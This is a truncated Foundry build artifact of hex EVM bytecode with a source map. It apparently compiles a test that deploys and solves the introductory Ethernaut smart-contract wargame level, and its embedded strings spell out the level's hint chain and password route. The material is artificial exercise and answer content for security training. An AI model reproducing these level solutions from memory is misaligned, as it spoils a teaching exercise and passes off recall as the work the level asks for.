60a01b03163303610156576101538160405180602001604052805f8152505f61033d565b50565b610153610109565b61016661030b565b6001600160a01b031633036101bc576101b78383838080601f0160208091040260200160405190810160405280939291908181526020018383808284375f920191909152506001925061033d915050565b505050565b6101b7610109565b5f6101cd61030b565b6001600160a01b031633036101e9576101e46102e4565b905090565b6101f1610109565b90565b6101fc61030b565b6001600160a01b031633036101565761015381610367565b5f61021d61030b565b6001600160a01b031633036101e9576101e461030b565b61023c61030b565b6001600160a01b031633036101215760405162461bcd60e51b815260206004820152604260248201527f5472616e73706172656e745570677261646561626c6550726f78793a2061646d60448201527f696e2063616e6e6f742066616c6c6261636b20746f2070726f7879207461726760648201527f6574000000000000000000000000000000000000000000000000000000000000608482015260a4015b60405180910390fd5b5f6101e46103bb565b365f80375f80365f845af43d5f803e808015610307573d5ff35b3d5ffd5b5f7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b546001600160a01b0316919050565b610346836103e2565b5f825111806103525750805b156101b7576103618383610421565b50505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f61039061030b565b604080516001600160a01b03928316815291841660208301520160405180910390a16101538161044d565b5f7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc61032e565b6103eb81610525565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b905f90a250565b60606104468383604051806060016040528060278152602001610812602791396105c9565b9392505050565b6001600160a01b0381166104c95760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201527f646472657373000000000000000000000000000000000000000000000000000060648201526084016102db565b807fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b80547fffffffffffffffffffffffff0000000000000000000000000000000000000000166001600160a01b039290921691909117905550565b6001600160a01b0381163b6105a25760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201527f6f74206120636f6e74726163740000000000000000000000000000000000000060648201526084016102db565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6104ec565b60606001600160a01b0384163b6106485760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f60448201527f6e7472616374000000000000000000000000000000000000000000000000000060648201526084016102db565b5f80856001600160a01b03168560405161066291906107c4565b5f60405180830381855af49150503d805f811461069a576040519150601f19603f3d011682016040523d82523d5f602084013e61069f565b606091505b50915091506106af8282866106b9565b9695505050505050565b606083156106c8575081610446565b8251156106d85782518084602001fd5b8160405162461bcd60e51b81526004016102db91906107df565b80356001600160a01b0381168114610708575f80fd5b919050565b5f6020828403121561071d575f80fd5b610446826106f2565b5f805f60408486031215610738575f80fd5b610741846106f2565b9250602084013567ffffffffffffffff8082111561075d575f80fd5b818601915086601f830112610770575f80fd5b81358181111561077e575f80fd5b87602082850101111561078f575f80fd5b6020830194508093505050509250925092565b5f5b838110156107bc5781810151838201526020016107a4565b50505f910152565b5f82516107d58184602087016107a2565b9190910192915050565b602081525f82518060208401526107fd8160408501602087016107a2565b601f01601f1916919091016040019291505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a26469706673582212203e1cf275377e8bb61cf9b931569a705adcb93eec1d89a2b1d063e39d5340117464736f6c63430008180033b53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a2646970667358221220c1adf58d0aa67022da668e4c87f275a068269ca9c1c42f6fe838b146660162dc64736f6c63430008180033","sourceMap":"3126:44:2:-:0;;;3166:4;-1:-1:-1;;3126:44:2;;;;;;;1016:26:12;;;;;;;;;-1:-1:-1;;;420:32:154;216:27:155;340:1641:136;420:32:154;259:12:155;340:1641:136;420:32:154;410:43;382:71;;340:1641:136;;;;;;;;;;;;;;;;","linkReferences":{}},"deployedBytecode":{"object":"0x608060405234801562000010575f80fd5b50600436106200018c575f3560e01c806385226c8111620000e3578063b5d11e991162000093578063e20c9f71116200006b578063e20c9f711462000314578063f82de7b0146200031e578063fa7626d41462000335575f80fd5b8063b5d11e9914620002d3578063b90a68fa14620002dd578063ba414fa6146200030a575f80fd5b8063916a17c611620000c7578063916a17c614620002975780639b59adbc14620002a1578063b5508aa914620002c9575f80fd5b806385226c81146200026757806385db81cc1462000280575f80fd5b80633e5e3c23116200013f57806366d9a9a0116200012357806366d9a9a0146200022d578063792e11f51462000246578063832e5fc2146200025d575f80fd5b80633e5e3c2314620002195780633f7286f41462000223575f80fd5b80631ed7831c11620001735780631ed7831c14620001d05780632356661a14620001e95780632ade38801462000200575f80fd5b80630a9254e414620001905780631c7db669146200019c575b5f80fd5b6200019a62000343565b005b620001b3620001ad36600462001bee565b62000806565b6040516001600160a01b0390911681526020015b60405180910390f35b620001da620009d0565b604051620001c7919062001c31565b620001b3620001fa36600462001d1d565b62000a32565b6200020a62000bfd565b604051620001c7919062001df0565b620001da62000d45565b620001da62000da5565b6200023762000e05565b604051620001c7919062001eb3565b620001da6200025736600462001f80565b62000eff565b6200019a6200108f565b6200027162001299565b604051620001c7919062001f98565b620001b36200029136600462001ffe565b6200136e565b620002376200148d565b620002b8620002b23660046200201c565b62001587565b6040519015158152602001620001c7565b6200027162001717565b6200019a620017ec565b601f80546040805160208082018490528251808303820181529183019092528051910120909155620001b3565b620002b862001885565b620001da62001959565b6200019a6200032f36600462001f80565b620019b9565b601e54620002b89060ff1681565b5f62000350600262000eff565b9050805f8151811062000367576200036762002058565b60209081029190910101516022805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b039092169182179055604080516318caf8e360e31b815260048101929092526024820152600560448201527f4f776e65720000000000000000000000000000000000000000000000000000006064820152737109709ecfa91a80626ff3989d68f67f5b1dd12d9063c657c718906084015f604051808303815f87803b1580156200041c575f80fd5b505af11580156200042f573d5f803e3d5ffd5b505050508060018151811062000449576200044962002058565b60209081029190910101516023805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b039092169182179055604080516318caf8e360e31b815260048101929092526024820152600660448201527f506c6179657200000000000000000000000000000000000000000000000000006064820152737109709ecfa91a80626ff3989d68f67f5b1dd12d9063c657c718906084015f604051808303815f87803b158015620004fe575f80fd5b505af115801562000511573d5f803e3d5ffd5b50506022546040516303223eab60e11b81526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d92506306447d5691506024015f604051808303815f87803b1580156200056c575f80fd5b505af11580156200057f573d5f803e3d5ffd5b50506022546200059b92506001600160a01b031690506200136e565b6020805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b03929092169190911790556040515f90620005d89062001ba1565b604051809103905ff080158015620005f2573d5f803e3d5ffd5b506020546040517f202023d40000000000000000000000000000000000000000000000000000000081526001600160a01b03808416600483015292935091169063202023d4906024015f604051808303815f87803b15801562000653575f80fd5b505af115801562000666573d5f803e3d5ffd5b505050507f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b03166390c5013b6040518163ffffffff1660e01b81526004015f604051808303815f87803b158015620006c5575f80fd5b505af1158015620006d8573d5f803e3d5ffd5b50506023546040516303223eab60e11b81526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d92506306447d5691506024015f604051808303815f87803b15801562000733575f80fd5b505af115801562000746573d5f803e3d5ffd5b50506020546200076b92506001600160a01b031690508266038d7ea4c6800062000806565b60215f6101000a8154816001600160a01b0302191690836001600160a01b031602179055507f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b03166390c5013b6040518163ffffffff1660e01b81526004015f604051808303815f87803b158015620007eb575f80fd5b505af1158015620007fe573d5f803e3d5ffd5b505050505050565b5f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b03166341af2f526040518163ffffffff1660e01b81526004015f604051808303815f87803b15801562000862575f80fd5b505af115801562000875573d5f803e3d5ffd5b50506040517fdfc86b170000000000000000000000000000000000000000000000000000000081526001600160a01b0386811660048301528716925063dfc86b17915084906024015f604051808303818588803b158015620008d5575f80fd5b505af1158015620008e8573d5f803e3d5ffd5b50505050505f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b031663191553a46040518163ffffffff1660e01b81526004015f604051808303815f875af11580156200094d573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f19168201604052620009769190810190620020f9565b9050806001825162000989919062002289565b815181106200099c576200099c62002058565b60200260200101515f0151600281518110620009bc57620009bc62002058565b60200260200101515f1c9150509392505050565b6060601680548060200260200160405190810160405280929190818152602001828054801562000a2857602002820191905f5260205f20905b81546001600160a01b0316815260019091019060200180831162000a09575b5050505050905090565b5f807f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b031663d930a0e66040518163ffffffff1660e01b81526004015f60405180830381865afa15801562000a92573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f1916820160405262000abb91908101906200229f565b90505f81848560405160200162000ad4929190620022f1565b60408051601f198184030181529082905262000af492916020016200239f565b60408051601f19818403018152908290527f60f9bb1100000000000000000000000000000000000000000000000000000000825291505f90737109709ecfa91a80626ff3989d68f67f5b1dd12d906360f9bb119062000b58908590600401620023d1565b5f60405180830381865afa15801562000b73573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f1916820160405262000b9c91908101906200229f565b90505f62000be96040518060400160405280601081526020017f2e62797465636f64652e6f626a656374000000000000000000000000000000008152508362001a2d90919063ffffffff16565b90508051602082015ff09695505050505050565b6060601d805480602002602001604051908101604052809291908181526020015f905b8282101562000d3c575f84815260208082206040805180820182526002870290920180546001600160a01b03168352600181018054835181870281018701909452808452939591948681019491929084015b8282101562000d24578382905f5260205f2001805462000c9290620023e5565b80601f016020809104026020016040519081016040528092919081815260200182805462000cc090620023e5565b801562000d0f5780601f1062000ce55761010080835404028352916020019162000d0f565b820191905f5260205f20905b81548152906001019060200180831162000cf157829003601f168201915b50505050508152602001906001019062000c72565b50505050815250508152602001906001019062000c20565b50505050905090565b6060601880548060200260200160405190810160405280929190818152602001828054801562000a2857602002820191905f5260205f209081546001600160a01b0316815260019091019060200180831162000a09575050505050905090565b6060601780548060200260200160405190810160405280929190818152602001828054801562000a2857602002820191905f5260205f209081546001600160a01b0316815260019091019060200180831162000a09575050505050905090565b6060601b805480602002602001604051908101604052809291908181526020015f905b8282101562000d3c575f8481526020908190206040805180820182526002860290920180546001600160a01b0316835260018101805483518187028101870190945280845293949193858301939283018282801562000ee657602002820191905f5260205f20905f905b82829054906101000a900460e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19168152602001906004019060208260030104928301926001038202915080841162000e925790505b5050505050815250508152602001906001019062000e28565b60605f8267ffffffffffffffff81111562000f1e5762000f1e62001c7f565b60405190808252806020026020018201604052801562000f48578160200160208202803683370190505b5090505f5b8381101562001088575f306001600160a01b031663b90a68fa6040518163ffffffff1660e01b81526004016020604051808303815f875af115801562000f95573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019062000fbb91906200241f565b6040517fc88a5e6d0000000000000000000000000000000000000000000000000000000081526001600160a01b038216600482015268056bc75e2d631000006024820152909150737109709ecfa91a80626ff3989d68f67f5b1dd12d9063c88a5e6d906044015f604051808303815f87803b15801562001039575f80fd5b505af11580156200104c573d5f803e3d5ffd5b505050508083838151811062001066576200106662002058565b6001600160a01b03909216602092830291909101909101525060010162000f4d565b5092915050565b6023546040516303223eab60e11b81526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d906306447d56906024015f604051808303815f87803b158015620010e6575f80fd5b505af1158015620010f9573d5f803e3d5ffd5b505050505f60215f9054906101000a90046001600160a01b03166001600160a01b031663224b610b6040518163ffffffff1660e01b81526004015f60405180830381865afa1580156200114e573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f191682016040526200117791908101906200229f565b6021546040517faa613b290000000000000000000000000000000000000000000000000000000081529192506001600160a01b03169063aa613b2990620011c3908490600401620023d1565b5f604051808303815f87803b158015620011db575f80fd5b505af1158015620011ee573d5f803e3d5ffd5b505050506200127360215f9054906101000a90046001600160a01b03166001600160a01b0316633c848d786040518163ffffffff1660e01b8152600401602060405180830381865afa15801562001247573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200126d91906200243d565b62001acf565b60205460215462001296916200126d916001600160a01b03918216911662001587565b50565b6060601a805480602002602001604051908101604052809291908181526020015f905b8282101562000d3c578382905f5260205f20018054620012dc90620023e5565b80601f01602080910402602001604051908101604052809291908181526020018280546200130a90620023e5565b8015620013595780601f106200132f5761010080835404028352916020019162001359565b820191905f5260205f20905b8154815290600101906020018083116200133b57829003601f168201915b505050505081526020019060010190620012bc565b5f806040516200137e9062001baf565b604051809103905ff08015801562001398573d5f803e3d5ffd5b5090505f604051620013aa9062001bbd565b604051809103905ff080158015620013c4573d5f803e3d5ffd5b508483604051620013d59062001bcb565b6001600160a01b03938416815291831660208301529091166040820152606001604051809103905ff0801580156200140f573d5f803e3d5ffd5b506040517fbe117dfd0000000000000000000000000000000000000000000000000000000081526001600160a01b0380831660048301529192509083169063be117dfd906024015f604051808303815f87803b1580156200146e575f80fd5b505af115801562001481573d5f803e3d5ffd5b50939695505050505050565b6060601c805480602002602001604051908101604052809291908181526020015f905b8282101562000d3c575f8481526020908190206040805180820182526002860290920180546001600160a01b031683526001810180548351818702810187019094528084529394919385830193928301828280156200156e57602002820191905f5260205f20905f905b82829054906101000a900460e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916815260200190600401906020826003010492830192600103820291508084116200151a5790505b50505050508152505081526020019060010190620014b0565b5f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b03166341af2f526040518163ffffffff1660e01b81526004015f604051808303815f87803b158015620015e3575f80fd5b505af1158015620015f6573d5f803e3d5ffd5b50506040517fc882d7c20000000000000000000000000000000000000000000000000000000081526001600160a01b0385811660048301528616925063c882d7c291506024015f604051808303815f87803b15801562001654575f80fd5b505af115801562001667573d5f803e3d5ffd5b505050505f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b031663191553a46040518163ffffffff1660e01b81526004015f604051808303815f875af1158015620016cb573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f19168201604052620016f49190810190620020f9565b90506001815111156200170c57600191505062001711565b5f9150505b92915050565b60606019805480602002602001604051908101604052809291908181526020015f905b8282101562000d3c578382905f5260205f200180546200175a90620023e5565b80601f01602080910402602001604051908101604052809291908181526020018280546200178890620023e5565b8015620017d75780601f10620017ad57610100808354040283529160200191620017d7565b820191905f5260205f20905b815481529060010190602001808311620017b957829003601f168201915b5050505050815260200190600101906200173a565b6023546040516303223eab60e11b81526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d906306447d56906024015f604051808303815f87803b15801562001843575f80fd5b505af115801562001856573d5f803e3d5ffd5b50506020546021546200188393506200187d92506001600160a01b03918216911662001587565b62001b4e565b565b6008545f9060ff16156200189d575060085460ff1690565b6040517f667f9d70000000000000000000000000000000000000000000000000000000008152737109709ecfa91a80626ff3989d68f67f5b1dd12d600482018190527f6661696c6564000000000000000000000000000000000000000000000000000060248301525f9163667f9d7090604401602060405180830381865afa1580156200192c573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200195291906200245e565b1415905090565b6060601580548060200260200160405190810160405280929190818152602001828054801562000a2857602002820191905f5260205f209081546001600160a01b0316815260019091019060200180831162000a09575050505050905090565b5f620019c6824362002476565b6040517f1f7b4f3000000000000000000000000000000000000000000000000000000000815260048101829052909150737109709ecfa91a80626ff3989d68f67f5b1dd12d90631f7b4f30906024015f604051808303815f87803b158015620007eb575f80fd5b6040517ffd921be8000000000000000000000000000000000000000000000000000000008152606090737109709ecfa91a80626ff3989d68f67f5b1dd12d9063fd921be89062001a8490869086906004016200248c565b5f60405180830381865afa15801562001a9f573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f1916820160405262001ac89190810190620024bd565b9392505050565b6040517f0c9fd5810000000000000000000000000000000000000000000000000000000081528115156004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d90630c9fd581906024015b5f6040518083038186803b15801562001b34575f80fd5b505afa15801562001b47573d5f803e3d5ffd5b5050505050565b6040517fa59828850000000000000000000000000000000000000000000000000000000081528115156004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d9063a59828859060240162001b1d565b610e2180620024f483390190565b610ae5806200331583390190565b611e7a8062003dfa83390190565b610daa8062005c7483390190565b6001600160a01b038116811462001296575f80fd5b5f805f6060848603121562001c01575f80fd5b833562001c0e8162001bd9565b9250602084013562001c208162001bd9565b929592945050506040919091013590565b602080825282518282018190525f9190848201906040850190845b8181101562001c735783516001600160a01b03168352928401929184019160010162001c4c565b50909695505050505050565b634e487b7160e01b5f52604160045260245ffd5b6040516060810167ffffffffffffffff8111828210171562001cb95762001cb962001c7f565b60405290565b604051601f8201601f1916810167ffffffffffffffff8111828210171562001ceb5762001ceb62001c7f565b604052919050565b5f67ffffffffffffffff82111562001d0f5762001d0f62001c7f565b50601f01601f191660200190565b5f6020828403121562001d2e575f80fd5b813567ffffffffffffffff81111562001d45575f80fd5b8201601f8101841362001d56575f80fd5b803562001d6d62001d678262001cf3565b62001cbf565b81815285602083850101111562001d82575f80fd5b816020840160208301375f91810160200191909152949350505050565b5f5b8381101562001dbb57818101518382015260200162001da1565b50505f910152565b5f815180845262001ddc81602086016020860162001d9f565b601f01601f19169290920160200192915050565b602080825282518282018190525f919060409081850190600581811b87018401888601875b8481101562001ea457603f198a8403018652815180516001600160a01b03168452880151888401889052805188850181905290890190606081871b8601810191908601905f5b8181101562001e8d57605f1988850301835262001e7a84865162001dc3565b948d01949350918c019160010162001e5b565b505050968901969350509087019060010162001e15565b50909998505050505050505050565b5f60208083018184528085518083526040925060408601915060408160051b8701018488015f5b8381101562001f7257888303603f19018552815180516001600160a01b031684528701518784018790528051878501819052908801905f9060608601905b8083101562001f5c5783517fffffffff00000000000000000000000000000000000000000000000000000000168252928a019260019290920191908a019062001f18565b5096890196945050509086019060010162001eda565b509098975050505050505050565b5f6020828403121562001f91575f80fd5b5035919050565b5f60208083016020845280855180835260408601915060408160051b8701019250602087015f5b8281101562001ff157603f1988860301845262001fde85835162001dc3565b9450928501929085019060010162001fbf565b5092979650505050505050565b5f602082840312156200200f575f80fd5b813562001ac88162001bd9565b5f80604083850312156200202e575f80fd5b82356200203b8162001bd9565b915060208301356200204d8162001bd9565b809150509250929050565b634e487b7160e01b5f52603260045260245ffd5b5f67ffffffffffffffff82111562002088576200208862001c7f565b5060051b60200190565b5f620020a262001d678462001cf3565b9050828152838383011115620020b6575f80fd5b62001ac883602083018462001d9f565b5f82601f830112620020d6575f80fd5b62001ac88383516020850162002092565b8051620020f48162001bd9565b919050565b5f60208083850312156200210b575f80fd5b825167ffffffffffffffff8082111562002123575f80fd5b818501915085601f83011262002137575f80fd5b81516200214862001d67826200206c565b81815260059190911b8301840190848101908883111562002167575f80fd5b8585015b83811015620022685780518581111562002183575f80fd5b86016060818c03601f1901121562002199575f80fd5b620021a362001c93565b8882015187811115620021b4575f80fd5b8201603f81018d13620021c5575f80fd5b89810151620021d862001d67826200206c565b81815260059190911b8201604001908b8101908f831115620021f8575f80fd5b6040840193505b828410156200221a5783518252928c0192908c0190620021ff565b845250505060408201518781111562002231575f80fd5b620022418d8b83860101620020c6565b8a830152506200225460608301620020e7565b60408201528452509186019186016200216b565b5098975050505050505050565b634e487b7160e01b5f52601160045260245ffd5b8181038181111562001711576200171162002275565b5f60208284031215620022b0575f80fd5b815167ffffffffffffffff811115620022c7575f80fd5b8201601f81018413620022d8575f80fd5b620022e98482516020840162002092565b949350505050565b7f2f6f75742f00000000000000000000000000000000000000000000000000000081525f83516200232a81600585016020880162001d9f565b7f2e736f6c2f00000000000000000000000000000000000000000000000000000060059184019182015283516200236981600a84016020880162001d9f565b7f2e6a736f6e000000000000000000000000000000000000000000000000000000600a9290910191820152600f01949350505050565b5f8351620023b281846020880162001d9f565b835190830190620023c881836020880162001d9f565b01949350505050565b602081525f62001ac8602083018462001dc3565b600181811c90821680620023fa57607f821691505b6020821081036200241957634e487b7160e01b5f52602260045260245ffd5b50919050565b5f6020828403121562002430575f80fd5b815162001ac88162001bd9565b5f602082840312156200244e575f80fd5b8151801515811462001ac8575f80fd5b5f602082840312156200246f575f80fd5b5051919050565b8082018082111562001711576200171162002275565b604081525f620024a0604083018562001dc3565b8281036020840152620024b4818562001dc3565b95945050505050565b5f60208284031215620024ce575f80fd5b815167ffffffffffffffff811115620024e5575f80fd5b620022e984828501620020c656fe608060405234801561000f575f80fd5b506100193361001e565b61006d565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b610da78061007a5f395ff3fe608060405260043610610058575f3560e01c80638da5cb5b116100415780638da5cb5b146100a2578063d38def5b146100be578063f2fde38b146100ed575f80fd5b8063715018a61461005c5780637726f77614610072575b5f80fd5b348015610067575f80fd5b5061007061010c565b005b610085610080366004610363565b61011f565b6040516001600160a01b0390911681526020015b60405180910390f35b3480156100ad575f80fd5b505f546001600160a01b0316610085565b3480156100c9575f80fd5b506100dd6100d8366004610385565b610180565b6040519015158152602001610099565b3480156100f8575f80fd5b50610070610107366004610363565b6101ed565b610114610282565b61011d5f6102db565b565b5f60405161012c90610342565b6020808252600a908201527f65746865726e61757430000000000000000000000000000000000000000000006040820152606001604051809103905ff080158015610179573d5f803e3d5ffd5b5092915050565b5f80839050806001600160a01b0316633c848d786040518163ffffffff1660e01b8152600401602060405180830381865afa1580156101c1573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906101e591906103bc565b949350505050565b6101f5610282565b6001600160a01b0381166102765760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f646472657373000000000000000000000000000000000000000000000000000060648201526084015b60405180910390fd5b61027f816102db565b50565b5f546001600160a01b0316331461011d5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161026d565b5f80546001600160a01b038381167fffffffffffffffffffffffff0000000000000000000000000000000000000000831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b610996806103dc83390190565b6001600160a01b038116811461027f575f80fd5b5f60208284031215610373575f80fd5b813561037e8161034f565b9392505050565b5f8060408385031215610396575f80fd5b82356103a18161034f565b915060208301356103b18161034f565b809150509250929050565b5f602082840312156103cc575f80fd5b8151801515811461037e575f80fdfe6001805460ff1916602a17905560e0604052602160808181529061097560a03960029061002c908261010b565b506003805460ff19169055348015610042575f80fd5b50604051610996380380610996833981016040819052610061916101ca565b5f61006c828261010b565b505061028c565b634e487b7160e01b5f52604160045260245ffd5b600181811c9082168061009b57607f821691505b6020821081036100b957634e487b7160e01b5f52602260045260245ffd5b50919050565b601f82111561010657805f5260205f20601f840160051c810160208510156100e45750805b601f840160051c820191505b81811015610103575f81556001016100f0565b50505b505050565b81516001600160401b0381111561012457610124610073565b610138816101328454610087565b846100bf565b602080601f83116001811461016b575f84156101545750858301515b5f19600386901b1c1916600185901b1785556101c2565b5f85815260208120601f198616915b828110156101995788860151825594840194600190910190840161017a565b50858210156101b657878501515f19600388901b60f8161c191681555b505060018460011b0185555b505050505050565b5f60208083850312156101db575f80fd5b82516001600160401b03808211156101f1575f80fd5b818501915085601f830112610204575f80fd5b81518181111561021657610216610073565b604051601f8201601f19908116603f0116810190838211818310171561023e5761023e610073565b816040528281528886848701011115610255575f80fd5b5f93505b828410156102765784840186015181850187015292850192610259565b5f86848301015280965050505050505092915050565b6106dc806102995f395ff3fe608060405234801561000f575f80fd5b50600436106100b9575f3560e01c8063aa613b2911610072578063d4c3cf4411610058578063d4c3cf4414610148578063f0bc708114610150578063f157a1e314610158575f80fd5b8063aa613b2914610114578063c253aebe14610129575f80fd5b80632cbd79a5116100a25780632cbd79a5146100ee578063370158ea146100f65780633c848d78146100fe575f80fd5b80632133b6a9146100bd578063224b610b146100e6575b5f80fd5b6100d06100cb3660046103b9565b610160565b6040516100dd9190610486565b60405180910390f35b6100d0610229565b6100d06102b4565b6100d06102d4565b60035460ff1660405190151581526020016100dd565b6101276101223660046103b9565b6102f4565b005b6001546101369060ff1681565b60405160ff90911681526020016100dd565b6100d0610358565b6100d0610378565b6100d0610398565b6040517f68656c6c6f000000000000000000000000000000000000000000000000000000602082015260609060250160405160208183030381529060405280519060200120826040516020016101b691906104b8565b60405160208183030381529060405280519060200120036101f0576040518060800160405280604681526020016105fe6046913992915050565b505060408051808201909152601081527f57726f6e6720706172616d657465722e00000000000000000000000000000000602082015290565b5f8054610235906104d3565b80601f0160208091040260200160405190810160405280929190818152602001828054610261906104d3565b80156102ac5780601f10610283576101008083540402835291602001916102ac565b820191905f5260205f20905b81548152906001019060200180831161028f57829003601f168201915b505050505081565b60606040518060600160405280602d815260200161067a602d9139905090565b60606040518060600160405280602781526020016105aa60279139905090565b5f604051602001610305919061050b565b604051602081830303815290604052805190602001208160405160200161032c91906104b8565b6040516020818303038152906040528051906020012003610355576003805460ff191660011790555b50565b60606040518060600160405280602d81526020016105d1602d9139905090565b606060405180606001604052806036815260200161064460369139905090565b60028054610235906104d3565b634e487b7160e01b5f52604160045260245ffd5b5f602082840312156103c9575f80fd5b813567ffffffffffffffff808211156103e0575f80fd5b818401915084601f8301126103f3575f80fd5b813581811115610405576104056103a5565b604051601f8201601f19908116603f0116810190838211818310171561042d5761042d6103a5565b81604052828152876020848701011115610445575f80fd5b826020860160208301375f928101602001929092525095945050505050565b5f5b8381101561047e578181015183820152602001610466565b50505f910152565b602081525f82518060208401526104a4816040850160208701610464565b601f01601f19169190910160400192915050565b5f82516104c9818460208701610464565b9190910192915050565b600181811c908216806104e757607f821691505b60208210810361050557634e487b7160e01b5f52602260045260245ffd5b50919050565b5f8083545f60018260011c9150600183168061052857607f831692505b6020808410820361054757634e487b7160e01b5f52602260045260245ffd5b81801561055b57600181146105705761059b565b60ff198616895284151585028901965061059b565b5f8a8152602090205f5b868110156105935781548b82015290850190830161057a565b505084890196505b50949897505050505050505056fe596f752077696c6c2066696e64207768617420796f75206e65656420696e20696e666f3128292e54727920696e666f3228292c206275742077697468202268656c6c6f22206173206120706172616d657465722e5468652070726f706572747920696e666f4e756d20686f6c647320746865206e756d626572206f6620746865206e65787420696e666f206d6574686f6420746f2063616c6c2e496620796f75206b6e6f77207468652070617373776f72642c207375626d697420697420746f2061757468656e74696361746528292e7468654d6574686f644e616d6520697320746865206e616d65206f6620746865206e657874206d6574686f642ea2646970667358221220def25ef24f449bda312362d2fbd646567f63fbf85888a579677cbd4b6cb980ca64736f6c63430008180033546865206d6574686f64206e616d65206973206d6574686f64373132333934392ea2646970667358221220500e08f39306c5a17ff323ec7d015040e7c8907fbcf09e55d80ab0013713835864736f6c63430008180033608060405234801561000f575f80fd5b506100193361001e565b61006d565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b610a6b8061007a5f395ff3fe6080604052600436106100ad575f3560e01c8063be117dfd11610066578063cf0046951161004c578063cf004695146101eb578063dfc86b1714610229578063f2fde38b1461023c575f80fd5b8063be117dfd146101ad578063c882d7c2146101cc575f80fd5b8063715018a611610096578063715018a61461014a5780638da5cb5b1461015e57806395e272bd1461018e575f80fd5b8063202023d4146100b15780634f17afd8146100d2575b5f80fd5b3480156100bc575f80fd5b506100d06100cb3660046109d9565b61025b565b005b3480156100dd575f80fd5b5061011d6100ec3660046109d9565b60036020525f9081526040902080546001909101546001600160a01b0391821691811690600160a01b900460ff1683565b604080516001600160a01b0394851681529390921660208401521515908201526060015b60405180910390f35b348015610155575f80fd5b506100d06102f6565b348015610169575f80fd5b505f546001600160a01b03165b6040516001600160a01b039091168152602001610141565b348015610199575f80fd5b50600154610176906001600160a01b031681565b3480156101b8575f80fd5b506100d06101c73660046109d9565b610309565b3480156101d7575f80fd5b506100d06101e63660046109d9565b610340565b3480156101f6575f80fd5b506102196102053660046109d9565b60026020525f908152604090205460ff1681565b6040519015158152602001610141565b6100d06102373660046109d9565b610642565b348015610247575f80fd5b506100d06102563660046109d9565b610880565b610263610910565b6001600160a01b038181165f8181526002602052604090819020805460ff191660019081179091555490517fcd819a6f00000000000000000000000000000000000000000000000000000000815260048101929092529091169063cd819a6f906024015f604051808303815f87803b1580156102dd575f80fd5b505af11580156102ef573d5f803e3d5ffd5b5050505050565b6102fe610910565b6103075f610969565b565b610311610910565b6001805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b0392909216919091179055565b6001600160a01b038082165f908152600360205260409020805490911633146103d65760405162461bcd60e51b815260206004820152603060248201527f5468697320696e7374616e636520646f65736e27742062656c6f6e6720746f2060448201527f7468652063757272656e7420757365720000000000000000000000000000000060648201526084015b60405180910390fd5b6001810154600160a01b900460ff16156104325760405162461bcd60e51b815260206004820181905260248201527f4c6576656c20686173206265656e20636f6d706c6574656420616c726561647960448201526064016103cd565b60018101546040517fd38def5b0000000000000000000000000000000000000000000000000000000081526001600160a01b0384811660048301523360248301529091169063d38def5b906044016020604051808303815f875af115801561049c573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906104c091906109fb565b156105b9576001818101805